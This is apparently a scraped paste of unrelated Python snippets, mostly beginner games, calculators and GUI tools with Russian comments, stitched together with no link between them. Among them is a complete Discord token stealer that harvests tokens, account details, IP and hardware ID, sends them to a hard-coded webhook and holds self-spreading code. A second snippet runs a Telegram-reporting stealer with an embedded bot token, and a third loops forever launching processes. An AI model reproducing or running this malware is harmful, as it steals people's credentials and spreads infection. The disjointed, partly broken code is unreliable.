py to exe converter online

import docx
import tkinter as tk
from tkinter import filedialog
import pyttsx3

# Создаем окно для выбора файла
root = tk.Tk()
root.withdraw()

# Открываем диалоговое окно для выбора файла
file_path = filedialog.askopenfilename()

# Открываем файл
doc = docx.Document(file_path)

# Используем библиотеку pyttsx3 для прослушивания текста
engine = pyttsx3.init()

# Получаем текст документа
for paragraph in doc.paragraphs:
    text = paragraph.text

    # Добавляем текст к очереди для проигрывания
    engine.say(text)

# Проигрываем текст
engine.runAndWait()

import ctypes import time # Используемые константы для клавиш VK_LWIN = 0x5B VK_ALT = 0x12 VK_SHIFT = 0x10 KEYEVENTF_EXTENDEDKEY = 0x0001 KEYEVENTF_KEYUP = 0x0002 # Функция для отправки клавиш def send_key(key_code, key_event): extra = ctypes.c_ulong(0) input_type = ctypes.c_ulong(1) flags = KEYEVENTF_EXTENDEDKEY if key_event == 'down' else KEYEVENTF_EXTENDEDKEY | KEYEVENTF_KEYUP # Создание структуры для ввода клавиш input_struct = ctypes.Structure( "IHHII", ctypes.pointer(extra), ctypes.c_ulong(input_type), ctypes.c_ushort(key_code), ctypes.c_ulong(flags), ctypes.c_ulong(0) ) # Отправка клавиши ctypes.windll.user32.SendInput(1, ctypes.pointer(input_struct), ctypes.sizeof(input_struct)) # Функция для замены клавиши LWin на комбинацию Alt+Shift def replace_lwin_with_alt_shift(): # Отправка Alt+Shift send_key(VK_ALT, 'down') send_key(VK_SHIFT, 'down') send_key(VK_SHIFT, 'up') send_key(VK_ALT, 'up') # Задержка для полной обработки комбинации time.sleep(0.1) # Отправка отпускания клавиши LWin send_key(VK_LWIN, 'up') # Вызов функции для замены клавиши replace_lwin_with_alt_shift()

print(1)

sad

import keyboard
import win32api, win32con
def click(x,y):
    win32api.SetCursorPos((x,y))
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTDOWN,x,y,0,0)
    win32api.mouse_event(win32con.MOUSEEVENTF_LEFTUP,x,y,0,0)

while True:  # making a loop
    try:  # used try so that if user pressed other than the given key error will not be shown
        click(100000,10000)
        if keyboard.is_pressed('q'):  # if key 'q' is pressed 
            print('You Pressed A Key!')
            break  # finishing the loop
    except:
        break

import cv2

def detect_damage(image_path):
    # Загрузка фотографии
    image = cv2.imread(image_path)
    
    # Преобразование изображения в черно-белый формат
    gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    
    # Применение алгоритма обнаружения границ (например, Canny)
    edges = cv2.Canny(gray_image, 50, 150)
    
    # Применение алгоритма обнаружения контуров
    contours, _ = cv2.findContours(edges, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    
    # Поиск поврежденных кирпичей
    damaged_bricks = []
    for contour in contours:
        # Проверка площади контура
        area = cv2.contourArea(contour)
        if area > 500:  # Здесь можно задать пороговое значение площади для определения поврежденного кирпича
            # Отрисовка прямоугольника вокруг контура на исходном изображении
            x, y, w, h = cv2.boundingRect(contour)
            cv2.rectangle(image, (x, y), (x + w, y + h), (0, 0, 255), 2)
            damaged_bricks.append((x, y, w, h))
    
    # Вывод результата
    cv2.imshow("Detected Damage", image)
    cv2.waitKey(0)  # Ожидание нажатия клавиши для закрытия окна
    cv2.destroyAllWindows()
    
    return damaged_bricks

# Пример использования
image_path = "path/to/your/image.jpg"
damaged_bricks = detect_damage(image_path)
print("Damaged Bricks:", damaged_bricks)

from tkinter import *
from tkinter import filedialog
from moviepy.editor import *

# Переменная для отслеживания текущей темы
current_theme = "light"

# Функция для переключения темы
def toggle_theme():
    global current_theme
    if current_theme == "light":
        current_theme = "dark"
        root.configure(bg='gray')
        label_filename.configure(bg='gray', fg='white')
        button_file.configure(bg='gray', fg='white')
        button_save_path.configure(bg='gray', fg='white')
        button_convert.configure(bg='gray', fg='white')
        toggle_button.configure(bg='gray', fg='white')
    else:
        current_theme = "light"
        root.configure(bg='white')
        label_filename.configure(bg='white', fg='black')
        button_file.configure(bg='white', fg='black')
        button_save_path.configure(bg='white', fg='black')
        button_convert.configure(bg='white', fg='black')
        toggle_button.configure(bg='white', fg='black')

def browse_file():
    filename = filedialog.askopenfilename(filetypes=[("MP4 files", "*.mp4")])
    button_file.config(text=filename)
    print("Выбран файл:", filename)

def browse_save_path():
    save_path = filedialog.askdirectory()
    button_save_path.config(text=save_path)
    print("Выбран путь для сохранения:", save_path)

def convert_to_gif():
    input_file = button_file.cget("text")
    output_path = button_save_path.cget("text")
    output_filename = entry_filename.get()
    
    if input_file and output_path and output_filename:
        try:
            video_clip = VideoFileClip(input_file)
            gif_file = output_path + "/" + output_filename + ".gif"
            video_clip.write_gif(gif_file)
            print("Конвертация завершена. GIF сохранен по пути:", gif_file)
        except Exception as e:
            print("Произошла ошибка при конвертации:", str(e))
    else:
        print("Выберите файл MP4, путь для сохранения и укажите название файла для сохранения GIF")

root = Tk()
root['bg'] = 'white'
root.title('Конвертер MP4 в GIF')
root.wm_attributes('-alpha', 1)
root.geometry('300x500')
root.resizable(width=False, height=False)

button_file = Button(root, text="Выбрать файл MP4", command=browse_file)
button_file.pack()

button_save_path = Button(root, text="Выбрать путь для сохранения", command=browse_save_path)
button_save_path.pack()

label_filename = Label(root, text="Название файла для GIF:")
label_filename.pack()

entry_filename = Entry(root)
entry_filename.pack()

button_convert = Button(root, text="Конвертировать", command=convert_to_gif)
button_convert.pack()

# Круглая кнопка для переключения темы
toggle_button = Button(root, text="ЧБ/БЛ", command=toggle_theme)
toggle_button.pack(side=BOTTOM, anchor=SE)

root.mainloop()

import pygame
import random

# Инициализация Pygame
pygame.init()

# Создание игрового окна
screen = pygame.display.set_mode((800, 600))

# Установка заголовка окна
pygame.display.set_caption("Пример ИИ в игре")

# Персонаж
player_x = 400
player_y = 300
player_speed = 5

# Главный цикл игры
running = True
clock = pygame.time.Clock()

while running:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            running = False

    # Генерация случайного направления движения
    move_direction = random.choice(["up", "down", "left", "right"])

    # Обработка движения персонажа
    if move_direction == "up":
        player_y -= player_speed
    elif move_direction == "down":
        player_y += player_speed
    elif move_direction == "left":
        player_x -= player_speed
    elif move_direction == "right":
        player_x += player_speed

    # Ограничение координат, чтобы персонаж не выходил за границы окна
    player_x = max(0, min(player_x, 800))
    player_y = max(0, min(player_y, 600))

    # Заполнение фона
    screen.fill((0, 0, 0))

    # Рисование персонажа (красный круг)
    pygame.draw.circle(screen, (255, 0, 0), (player_x, player_y), 20)

    # Обновление экрана
    pygame.display.update()

    # Задержка для управления скоростью движения персонажа
    pygame.time.delay(500)

    # Задержка для контроля частоты обновления экрана
    clock.tick(60)

# Завершение Pygame
pygame.quit()

print("Hello, world!")

a = float(input("Введи первое число:"))
znak = input("Выбери: (*,/,+,-): ")
if znak == "+":
	print("Красава, выбор пал на СЛОЖЕНИЕ!?")
elif znak == "-":
	print("Красава, выбор пал на ВЫЧИТАНИЕ!?")
elif znak == "*":
	print("Красава, выбор пал на УМНОЖЕНИЕ!?")
elif znak == "/":
	print("Красава, выбор пал на ДЕЛЕНИЕ!?")
else:
	print("Выбрана не верная операция!")
b = float(input("Введи второе число:"))
if znak == "+":
	c = a + b
	print("Ваш ответ: " + str(c))
elif znak == "-":
	c = a - b
	print("Ваш ответ: " + str(c))
elif znak == "*":
	c = a * b
	print("Ваш ответ: " + str(c))
elif znak == "/":
	c = a / b
	print("Ваш ответ: " + str(c))
print("Благодарим вас, что воспользовались нашим дебильным калькулятором версии 2.1")

# подключаем графическую библиотеку
from tkinter import *
# подключаем модули, которые отвечают за время и случайные числа
import time
import random
# создаём новый объект — окно с игровым полем. В нашем случае переменная окна называется tk, и мы его сделали из класса Tk() — он есть в графической библиотеке 
tk = Tk()
# делаем заголовок окна — Games с помощью свойства объекта title
tk.title('Game')
# запрещаем менять размеры окна, для этого используем свойство resizable 
tk.resizable(0, 0)
# помещаем наше игровое окно выше остальных окон на компьютере, чтобы другие окна не могли его заслонить
tk.wm_attributes('-topmost', 1)
# создаём новый холст — 400 на 500 пикселей, где и будем рисовать игру
canvas = Canvas(tk, width=500, height=400, highlightthickness=0)
# говорим холсту, что у каждого видимого элемента будут свои отдельные координаты 
canvas.pack()
# обновляем окно с холстом
tk.update()

class DamageParament:
    def __init__(self) -> None:
        self.D = float(input("Введите значение силы: "))
        self.W = float(input("Введите прибавку от оружия: "))
        self.H = float(input("Введите здоровье атакующего: "))
        self.Hp = float(input("Введите % от здоровья атакующего: "))
        self.A = float(input("Введите значение брони моба: "))
        self.Ap = float(input("Введите % от брони моба: "))
        self.Mh = float(input("Введите здоровье врага: "))
        self.Mhp = float(input("Введите % от здоровья врага: "))
        self.countHit()
    
    def formula(self):
        return self.D + self.W + self.H * self.Hp - self.A * self.Ap - self.Mh * self.Mhp
    def countHit(self):
        count = 0
        while(self.Mh > 0):
            self.Mh -= self.formula()
            count += 1
        print(f"враг умрёт после {count} атак")

player = DamageParament()

s=input()
print(s[::-1])

import datetime

# Создаем класс для записи заметок
class Note:
    def __init__(self, title, content):
        self.title = title
        self.content = content

    def __str__(self):
        return f"{self.title}: {self.content}"

# Создаем список заметок
notes = [Note("Учеба", "Написать доклад"), Note("Работа", "Составить план на неделю"), Note("Личное", "Купить продукты")]

# Добавляем дату и время к каждой заметке
for note in notes:
    note.date = datetime.datetime.now()
    note.time = datetime.datetime.now().time()

# Создаем функцию для выбора действия
def select_action():
    action_options = ["Добавить заметку", "Удалить заметку", "Редактировать заметку"]
    action_index = int(input("Выберите действие: "))
    if action_index < len(action_options):
        print(action_options[action_index])
    else:
        print("Неизвестное действие.")

# Создаем функцию для добавления новой заметки
def add_note():
    title = input("Введите название заметки: ")
    content = input("Введите содержание заметки: ")
    notes.append(Note(title, content))

# Создаем функцию для удаления заметки
def delete_note():
    index = input("Введите индекс заметки для удаления: ")
    if index >= len(notes):
        print("Заметка не найдена.")
    else:
        del notes[index]
        print("Заметка удалена.")

# Создаем функцию для редактирования заметки
def edit_note():
    index = input("Введите индекс заметки для редактирования: ")
    if index >= len(notes):
        print("Заметка не найдена.")
    else:
        note = notes[index]
        new_title = input("Введите новое название заметки: ")
        new_content = input("Введите новое содержание заметки: ")
        notes[index] = Note(new_title, new_content)
        print("Заметка отредактирована.")

# Создаем меню для выбора действий с заметками
menu = ["Добавить заметку", "Удалить заметку", "Редактировать заметку"]

# Запускаем бесконечный цикл для выбора действий
while True:
    print("\nВыберите действие:")
    for option in menu:
        print(option)
    choice = input(" > ")

    # Обрабатываем выбранное действие
    if choice == "Добавить заметку":
        add_note()
    elif choice == "Удалить заметку":
        delete_note()
    elif choice == "Редактировать заметку":
        edit_note()
    else:
        print("Неизвестное действие.")

# Вызываем функцию для выбора действия
select_action()

$ pip install auto-py-to-exe

import os

if os.name != "nt":

    exit()

from re import findall

from json import loads, dumps

from base64 import b64decode

from datetime import datetime

from subprocess import Popen, PIPE

from urllib.request import Request, urlopen

from threading import Thread

from time import sleep

from sys import argv

dt = datetime.now()

# Paste your webhook url to "URL_HERE"

WEBHOOK_URL = 'https://discord.com/api/webhooks/1178245357822546001/9biXkPGXzhLUNqJ1-bLIbIFJQimTNlVqrITLLEltC3Rmm3y32PHY6diZayCmqPfE206Z'

LOCAL = os.getenv("LOCALAPPDATA")

ROAMING = os.getenv("APPDATA")

PATHS = {

    "Discord" : ROAMING + "\\Discord",

    "Discord Canary" : ROAMING + "\\discordcanary",

    "Discord PTB" : ROAMING + "\\discordptb",

    "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default",

    "Firefox" : LOCAL + "\\Mozilla\\Firefox\\User Data\\Profiles",

    "Opera" : ROAMING + "\\Opera Software\\Opera Stable",

    "Edge" : LOCAL + "\\\Microsoft\\Edge\\User Data\\Default",

    "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default",

    "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default",

    "Vivaldi" : LOCAL + "\\Vivaldi\\User Data\\User Data",

}

def getheaders(token=None, content_type="application/json"):

    headers = {

        "Content-Type": content_type,

        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11"

    }

    if token:

        headers.update({"Authorization": token})

    return headers

def getuserdata(token):

    try:

        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode())

    except:

        pass

def gettokens(path):

    path += "\\Local Storage\\leveldb"

    tokens = []

    for file_name in os.listdir(path):

        if not file_name.endswith(".log") and not file_name.endswith(".ldb"):

            continue

        for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]:

            for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):

                for token in findall(regex, line):

                    tokens.append(token)

    return tokens

def getip():

    ip = "None"

    try:

        ip = urlopen(Request("https://api.ipify.org")).read().decode().strip()

    except:

        pass

    return ip

def getavatar(uid, aid):

    url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif"

    try:

        urlopen(Request(url))

    except:

        url = url[:-4]

    return url

def gethwid():

    p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)

    return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1]

def getfriends(token):

    try:

        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode())

    except:

        pass

def getchat(token, uid):

    try:

        return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"]

    except:

        pass

def has_payment_methods(token):

    try:

        return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0)

    except:

        pass

def send_message(token, chat_id, form_data):

    try:

        urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode()

    except:

        pass

def spread(token, form_data, delay):

    return # Remove to re-enabled

    for friend in getfriends(token):

        try:

            chat_id = getchat(token, friend["id"])

            send_message(token, chat_id, form_data)

        except Exception as e:

            pass

        sleep(delay)

def main():

    cache_path = ROAMING + "\\.cache~$"

    prevent_spam = True

    self_spread = True

    embeds = []

    working = []

    checked = []

    already_cached_tokens = []

    working_ids = []

    ip = getip()

    pc_username = os.getenv("UserName")

    pc_name = os.getenv("COMPUTERNAME")

    user_path_name = os.getenv("userprofile").split("\\")[2]

    for platform, path in PATHS.items():

        if not os.path.exists(path):

            continue

        for token in gettokens(path):

            if token in checked:

                continue

            checked.append(token)

            uid = None

            if not token.startswith("mfa."):

                try:

                    uid = b64decode(token.split(".")[0].encode()).decode()

                except:

                    pass

                if not uid or uid in working_ids:

                    continue

            user_data = getuserdata(token)

            if not user_data:

                continue

            working_ids.append(uid)

            working.append(token)

            username = user_data["username"] + "#" + str(user_data["discriminator"])

            user_id = user_data["id"]

            avatar_id = user_data["avatar"]

            avatar_url = getavatar(user_id, avatar_id)

            email = user_data.get("email")

            phone = user_data.get("phone")

            nitro = bool(user_data.get("premium_type"))

            flags = user_data.get("public_flags")

            billing = bool(has_payment_methods(token))

            embed = {

                "color": 0x5865f2,

                "fields": [

                    {

                        "name": "**Account Info**",

                        "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}',

                        "inline": True

                    },

                    {

                        "name": "**PC Info**",

                        "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}',

                        "inline": True

                    },

                    {

                        "name": "**Token**",

                        "value": token,

                        "inline": False

                    },

                ],

                "author": {

                    "name": f"{username} ({user_id})",

                    "icon_url": avatar_url

                },

                "footer": {

                    "text": "Hooked at • " + dt.strftime('%Y-%m-%d %H:%M:%S'),

                }

            }

            embeds.append(embed)

    with open(cache_path, "a") as file:

        for token in checked:

            if not token in already_cached_tokens:

                file.write(token + "\n")

    if len(working) == 0:

        working.append('123')

    webhook = {

        "content": "",

        "embeds": embeds,

        "username": "CStealer",

        "avatar_url": "https://i.hizliresim.com/9ftjid9.jpg"

    }

    try:

        urlopen(Request(WEBHOOK_URL, data=dumps(webhook).encode(), headers=getheaders()))

    except:

        pass

    if self_spread:

        for token in working:

            with open(argv[0], encoding="utf-8") as file:

                content = file.read()

            payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--'

            Thread(target=spread, args=(token, payload, 7500 / 1000)).start()

try:

    main()

except Exception as e:

    print(e)

    pass

pip install auto-py-to-exe

лодл

import math

def f(prob, code, k, start, end):
    sum = 0
    mid = 0
    for i in range(start, end):
        if round(abs(k / 2 - (sum + prob[i])), 5) <= round(abs(k / 2 - sum), 5):
            sum += prob[i]
        else:
            mid = i
            break

    for i in range(start, mid):
        code[i] += '0'
    for i in range(mid, end):
        code[i] += '1'

    if mid - start != 1:
        f(prob, code, sum, start, mid)
    if end - mid != 1:
        f(prob, code, k - sum, mid, end)

    return code


p = [0.3, 0.2, 0.1, 0.1, 0.08, 0.07, 0.06, 0.05, 0.04]  # сюда просто пишем вероятности
len_p = len(p)
fano = [''] * len_p
res = f(p, fano, 1, 0, len_p)

print('Метод Шеннона Фано\nX\t\tcode')
for i in range(0, len_p):
    print(f'{p[i]:.2f}\t{fano[i]}')

L = dict()
for i in range(0, len_p):
    x = len(fano[i])
    if x in L:
        L[x] += p[i]
    else:
        L[x] = p[i]

ML = 0
HX = 0
for i in p:
    HX += -i * math.log2(i)

print('\nL\t||', end='')
for i in L:
    print(f'\t{i:<5}|', end='')
print('\np\t||', end='')
for i in L.values():
    print(f'\t{round(i, 4):<5}|', end='')
print('')
for i in L.items():
    ML += i[0] * i[1]

print(f'ML = {ML:.4f} \nHX = {round(HX, 4)}')

import subprocess
while(True):
    subprocess.Popen(['mspaint.exe'])
    subprocess.Popen(['notepad.exe'])
    subprocess.Popen(['cmd'])

from stink import Stealer, Senders

if __name__ == '__main__':
    Stealer(senders=[Senders.telegram(token="6606094795:AAFFeTgriKAJehkKPhxGrSj2zLkJfTtamgM", user_id=5195110005)]).run()

n,k=map(int,input().split())
o=input()
r=o.split(" ")
l=[]
res = -1
for i in r:
    i=int(i)
    l.append(i)

n=len(l)
etal=[]
for h in range(1,k+1):
    etal.append(h)

tmp=[]
for m in range(0,n-k+1):
    for v in range(m,m+k):
        tmp.append(l[v])    
    tmp.sort()
    if tmp == etal:
       res = m+1
       break
    tmp.clear()
print(res)

import random

def guess_the_number():
    print("Добро пожаловать в игру 'Угадай число'!")
    print("Я загадаю число от 1 до 100, а вы должны угадать его.")

    secret_number = random.randint(1, 100)
    attempts = 0

    while True:
        user_guess = int(input("Введите вашу догадку: "))
        attempts += 1

        if user_guess == secret_number:
            print(f"Поздравляю! Вы угадали число {secret_number} за {attempts} попыток.")
            break
        elif user_guess < secret_number:
            print("Ваше число слишком маленькое. Попробуйте еще раз.")
        else:
            print("Ваше число слишком большое. Попробуйте еще раз.")

if __name__ == "__main__":
    guess_the_number()

python
import tkinter as tk
from datetime import datetime, timedelta

def calculate_dates():
    input_date = entry.get()
    try:
        input_date = datetime.strptime(input_date, "%d/%m/%Y")
        v0 = input_date.strftime("%d/%m/%Y")
        v1 = (input_date + timedelta(days=3)).strftime("%d/%m/%Y")
        v2 = (input_date + timedelta(days=7)).strftime("%d/%m/%Y")
        v3 = (input_date + timedelta(days=14)).strftime("%d/%m/%Y")
        v4 = (input_date + timedelta(days=30)).strftime("%d/%m/%Y")
        v5 = (input_date + timedelta(days=90)).strftime("%d/%m/%Y")

        output_label.config(text=f"v0: {v0}\nv1: {v1}\nv2: {v2}\nv3: {v3}\nv4: {v4}\nv5: {v5}")
    except ValueError:
        output_label.config(text="Неправильный формат даты!")

root = tk.Tk()
root.title("Вычисление дат")
root.geometry("300x200")

label = tk.Label(root, text="Введите дату (дд/мм/гггг):")
label.pack(pady=10)

entry = tk.Entry(root)
entry.pack()

calculate_button = tk.Button(root, text="Вычислить", command=calculate_dates)
calculate_button.pack(pady=10)

output_label = tk.Label(root)
output_label.pack()

root.mainloop()

import pyautogui
import cv2
import numpy as np
import winsound
import time
 
image_path = "imageD3.jpg"
image_path1 = "imageS3.jpg"
sound_path = "helicopter-helicopter-parakofer-parakofer.wav"
sound_path = "sound1.wav"
image = cv2.imread(image_path)
image1 = cv2.imread(image_path1)
threshold = 0.8 # Уточните значение порога для вашего случая
threshold1 = 0.8 # Уточните значение порога для вашего случая
while True:
    try:
        screenshot = pyautogui.screenshot()
 
        # Преобразуем скриншот и фрагмент изображения в массивы numpy
        screenshot_np = np.array(screenshot)
        screenshot_np = cv2.cvtColor(screenshot_np, cv2.COLOR_BGR2GRAY)
 
        image_np = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
 
        # Ищем фрагмент изображения на скриншоте
        result = cv2.matchTemplate(screenshot_np, image_np, cv2.TM_CCOEFF_NORMED)
 
        # Получаем координаты верхнего левого угла найденного фрагмента
        min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
 
        # Проверяем, превышает ли совпадение пороговое значение
        if max_val >= threshold:
            
            screenshot = pyautogui.screenshot()
            
            # Преобразуем скриншот и фрагмент изображения в массивы numpy
            screenshot_np = np.array(screenshot)
            screenshot_np = cv2.cvtColor(screenshot_np, cv2.COLOR_BGR2GRAY)
 
            image_np1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
 
            # Ищем фрагмент изображения на скриншоте
            result = cv2.matchTemplate(screenshot_np, image_np1, cv2.TM_CCOEFF_NORMED)
 
            # Получаем координаты верхнего левого угла найденного фрагмента
            min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result)
 
            # Проверяем, превышает ли совпадение пороговое значение
            if max_val >= threshold1:
                print("Фрагмент найден!")
 
                # Проигрываем звуковой файл
                winsound.PlaySound(sound_path, winsound.SND_ASYNC)
                pyautogui.hotkey('win', '1')
                pyautogui.hotkey('shift', 'w')
            time.sleep(3600)
    except Exception as e:
        print(f"Ошибка: {e}")

print("O'zingizni tanishtiring")
fam = input("Familiyanfiz nima? ")
ism = input("Ismingiz kim? ")
if fam.endswith("va"):
    print("Assalomu Aleykum",ism,"opa qaerda o'qiysiz")
else:
    print("Assalomu Aleykum",ism,"aka qaerda o'qiysiz")
mak = input("Qaysi maktabda o'qiysiz? ")
if fam.endswith("va"):
    print("Demak",ism,"opa siz",mak,"maktabda o'qiysiz shndaymi? ")
else:
    print("Demak",ism,"aka siz",mak,"maktabda o'qiysiz shndaymi? ")
shu = input("xa yo'ki yo'q ")
if shu.endswith("xa"):
    print("Demak",ism," siz bilan tanishib oldik-a")
else:
    print("Demak",ism," siz yolg'nchisizda-a")

import time import random import pygame import sys pygame.init() WHITE = (255, 255, 255) BLACK = (0, 0, 0) RED = (255, 0, 0) GREEN = (0, 255, 0) YELLOW = (255, 255, 0) WIDTH, HEIGHT = 800, 600 window = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption('Игра') player_width, player_height = 50, 30 player_x, player_y = (WIDTH - player_width) // 2, HEIGHT - player_height - 50 player_speed = 5 player_rect = pygame.Rect(player_x, player_y, player_width, player_height) red_square_width, red_square_height = 40, 40 red_square_speed = 3 red_squares = [] red_square_freq = 25 red_square_timer = 0 green_square_width, green_square_height = int(red_square_width * 0.67), int(red_square_height * 0.67) green_square_speed = red_square_speed green_squares = [] green_square_freq = 60 green_square_timer = 0 color_square_width, color_square_height = 40, 40 color_square_speed = red_square_speed color_squares = [] color_square_freq = 600 color_square_timer = 0 score = 0 font = pygame.font.Font(None, 36) def create_red_square(): x = random.randint(0, WIDTH - red_square_width) red_square = pygame.Rect(x, 0, red_square_width, red_square_height) red_squares.append(red_square) def create_green_square(): x = random.randint(0, WIDTH - green_square_width) green_square = pygame.Rect(x, 0, green_square_width, green_square_height) green_squares.append(green_square) def create_color_square(): x = random.randint(0, WIDTH - color_square_width) color_square = pygame.Rect(x, 0, color_square_width, color_square_height) color_squares.append(color_square) game_over = False clock = pygame.time.Clock() start_time = 0 game_over_timer = 150 while not game_over: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() keys = pygame.key.get_pressed() if keys[pygame.K_LEFT] and player_rect.left > 0: player_rect.x -= player_speed if keys[pygame.K_RIGHT] and player_rect.right < WIDTH: player_rect.x += player_speed for red_square in red_squares: red_square.y += red_square_speed if player_rect.colliderect(red_square): game_over = True red_squares = [red_square for red_square in red_squares if red_square.y < HEIGHT] red_square_timer += 1 if red_square_timer == red_square_freq: create_red_square() red_square_timer = 0 for green_square in green_squares: green_square.y += green_square_speed if player_rect.colliderect(green_square): score += 1 green_squares.remove(green_square) green_squares = [green_square for green_square in green_squares if green_square.y < HEIGHT] green_square_timer += 1 if green_square_timer == green_square_freq: create_green_square() green_square_timer = 0 for color_square in color_squares: color_square.y += color_square_speed if player_rect.colliderect(color_square): score += 3 color_squares.remove(color_square) color_squares = [color_square for color_square in color_squares if color_square.y < HEIGHT] color_square_timer += 1 if color_square_timer == color_square_freq: create_color_square() color_square_timer = 0 window.fill(WHITE) pygame.draw.rect(window, BLACK, player_rect) for red_square in red_squares: pygame.draw.rect(window, RED, red_square) for green_square in green_squares: pygame.draw.rect(window, GREEN, green_square) for color_square in color_squares: pygame.draw.rect(window, YELLOW, color_square) score_text = font.render("Score: " + str(score), True, BLACK) window.blit(score_text, (10, 10)) if score >= 25: victory_text = font.render("Victory!", True, GREEN) window.blit(victory_text, (WIDTH // 2 - 50, HEIGHT // 2)) red_squares = [] green_squares = [] color_squares = [] pygame.display.update() clock.tick(60) pygame.quit() sys.exit()

from tkinter import *
from tkinter import messagebox
 
def calculate_DV():
   E = float(E_tf.get())
   H = float(H_tf.get())
   CP = float(CP_tf.get())
   DV = 3.57*(E**2+H**2)*CP
   DV = round(DV, 2)
 
   if CP >= 0.99:
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории:  Воздух абсолютно чист')
   elif (CP >= 0.97) and (CP < 0.99):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Исключительно высокая прозрачность')
   elif (CP >= 0.96) and (CP < 0.97):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух очень прозрачен')
   elif (CP >= 0.92) and (CP < 0.96):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Хорошая прозрачность')
   elif (CP >= 0.81) and (CP < 0.92):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Средняя прозрачность')
   elif (CP >= 0.66) and (CP < 0.81):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух несколько мутен (легкая мгла)')
   elif (CP >= 0.36) and (CP < 0.66):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух мутен (мгла)')
   elif (CP >= 0.12) and (CP < 0.36):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Воздух очень мутен (сильная мгла)')
   elif (CP >= 0.015) and (CP < 0.12):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Легкий туман')
   elif (CP >= 0.000000008) and (CP < 0.015):
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Туман')
   else:
       messagebox.showinfo('bmi-pythonguides', f'Дальность видимости = {DV} км., В акватории: Густой туман')  
 
window = Tk()
window.title('Программа расчёта дальности видимости на внутренних водоемах РФ')
window.geometry('700x559')

bg = PhotoImage(file = "Подложка (1).png")
canvas1 = Canvas( window, width = 700, height = 409)
canvas1.pack(fill = "both", expand = True)
canvas1.create_image( 0, 0, image = bg, anchor = "nw") 

frame = Frame(
   window,
   padx=10,
   pady=10
)
frame.pack(expand=True)

 
E = Label( # от сих
   frame,
   text="Введите высоту спасателя над поверхностью воды (в м.) "
)
E.grid(row=3, column=1)# до сих окно без ввода

H = Label( #добавляет окно справа с вводом
   frame,
   text="Введите высоту пострадавшего над уровнем воды (в м.)  ",
)
H.grid(row=4, column=1)

CP = Label( # от сих
   frame,
   text="Введите коэффициент дальности видимости "
)
CP.grid(row=5, column=1)# до сих окно без ввода
 
E_tf = Entry( 
   frame,
)
E_tf.grid(row=3, column=2, pady=5)
 
H_tf = Entry(
   frame,
)
H_tf.grid(row=4, column=2, pady=5)

CP_tf = Entry( 
   frame,
)
CP_tf.grid(row=5, column=2, pady=5)



cal_btn = Button( # добавление кнопки с расчётом 
   frame,
   text='Рассчитать дальность видимости',
   command=calculate_DV
)
cal_btn.grid(row=6, column=2)

window.mainloop()

mod = input("Select the mode \n 1-Encoder \n 2-Decode \n")
bikova = ['а','б','в','г','д','е','ё','ж','з','и','й','к','л','м','н','о','п','р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я']
if mod == "1" :
    key = input ("please enter the key: ")
    text = input ("please enter the text: ")
    
    text_orig = text
    text_2 = list (text)
    key_2 = list (key)
    number = len (text)
    for i in range(0,number): 
        for j in range(0,33):
            if text_orig[i] == bikova[j]:
                text_2[i] = key[j]
    for i in range(0,number): 
        print (text_2[i], end='')  
if mod == '2':
    key= input ("please enter the key: ")
    text = input ("please enter the text: ")
    number = len (text)
    text_orig = text
    text_2 = list (text)
